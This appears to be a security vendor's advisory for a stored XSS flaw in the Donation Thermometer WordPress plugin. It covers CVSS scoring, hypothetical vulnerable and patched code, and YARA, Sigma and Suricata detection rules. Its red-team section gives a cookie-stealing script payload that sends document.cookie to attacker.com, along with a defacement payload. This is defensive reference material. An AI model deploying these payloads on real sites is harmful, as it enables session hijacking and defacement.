CVE-2025-67550

Executive Summary

CVE-2025-67550 is a Stored Cross-Site Scripting (XSS) vulnerability in the Rhewlif Donation Thermometer WordPress plugin, affecting versions up to and including 2.2.6. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that persists on the server and executes in the context of any user viewing the affected page. With a CVSS score of 6.5 (Medium), this flaw can lead to session hijacking, defacement, or redirection to malicious sites. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the WordPress ecosystem's widespread use, the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify their plugin version and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must visit a crafted page.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability exists in the donation-thermometer plugin's handling of user input, likely within a shortcode or admin-facing form that stores data in the WordPress database. The plugin fails to sanitize or escape input before rendering it in the browser, allowing an attacker to inject malicious HTML/JavaScript. When the stored data is displayed on a page (e.g., a donation goal or thermometer settings), the injected script executes in the context of the victim's session.

Attack Flow:

1. An attacker identifies a vulnerable input field (e.g., donation goal name, message, or custom CSS).
2. The attacker submits a payload like <script>alert('XSS')</script> or a more sophisticated payload for session hijacking.
3. The payload is stored in the WordPress database without sanitization.
4. When an administrator or visitor loads the page containing the thermometer, the script executes.
5. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress escaping functions such as esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (donation-thermometer.php):

function display_thermometer() {
    $goal = get_option('donation_goal');
    echo "<div class='thermometer-goal'>" . $goal . "</div>";
}

Patched Code (Hypothetical):

function display_thermometer() {
    $goal = get_option('donation_goal');
    echo "<div class='thermometer-goal'>" . esc_html($goal) . "</div>";
}

The patched version uses esc_html() to neutralize HTML tags, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Donation Thermometer <= 2.2.6 installed and activated.
• Access to a page where the plugin's shortcode or widget is used (e.g., [donation-thermometer]).

Exploitation Steps:

1. Identify an input field that stores data (e.g., the donation goal name in the plugin settings).
2. Inject a payload such as:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Save the settings. The payload is now stored.
4. Wait for an admin or visitor to load the page with the thermometer. The script executes, sending cookies to the attacker.

Alternative Payload (for defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>';</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor WordPress admin logs for unusual changes to plugin settings.
2. Use a Web Application Firewall (WAF) to block common XSS patterns (e.g., <script> tags in input fields).
3. Regularly scan the database for suspicious entries using:

   SELECT * FROM wp_options WHERE option_name LIKE '%donation%' AND option_value LIKE '%<script>%';
   

4. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – no malicious files identified)
• Network Indicators:
  • Outbound connections to unknown domains (e.g., attacker.com) from the WordPress server.
  • HTTP requests containing document.cookie in the query string.
• Database Indicators:
  • Entries in wp_options or wp_postmeta containing <script> tags.
  • Unusual donation goal names or messages with HTML/JavaScript.
• Log Indicators:
  • WordPress debug logs showing wp_redirect or wp_die calls related to plugin settings.
  • Web server logs with %3Cscript%3E (URL-encoded <script>) in POST data.

Detection Engineering

YARA Rule

rule CVE_2025_67550_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Donation Thermometer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67550"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $donation_therm = /donation.thermometer/i
    condition:
        $donation_therm and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Donation Thermometer Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts targeting CVE-2025-67550
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=donation_thermometer_save'
        sc-status: 200
    keywords:
        - '<script>'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67550 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=donation_thermometer_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Apply a virtual patch using a security plugin (e.g., Wordfence) to block malicious input.

Long-Term Fix:

• The vendor must release a patched version (>= 2.2.7) that properly sanitizes all user inputs using esc_html(), wp_kses_post(), or similar WordPress functions.
• Users should update to the latest version once available.

Workaround:

• If disabling the plugin is not possible, restrict access to the plugin settings page to trusted administrators only.
• Use a Content Security Policy (CSP) header to block inline scripts:

  Header set Content-Security-Policy "script-src 'self';"
  

Valters IT – Securing digital ecosystems through proactive threat intelligence.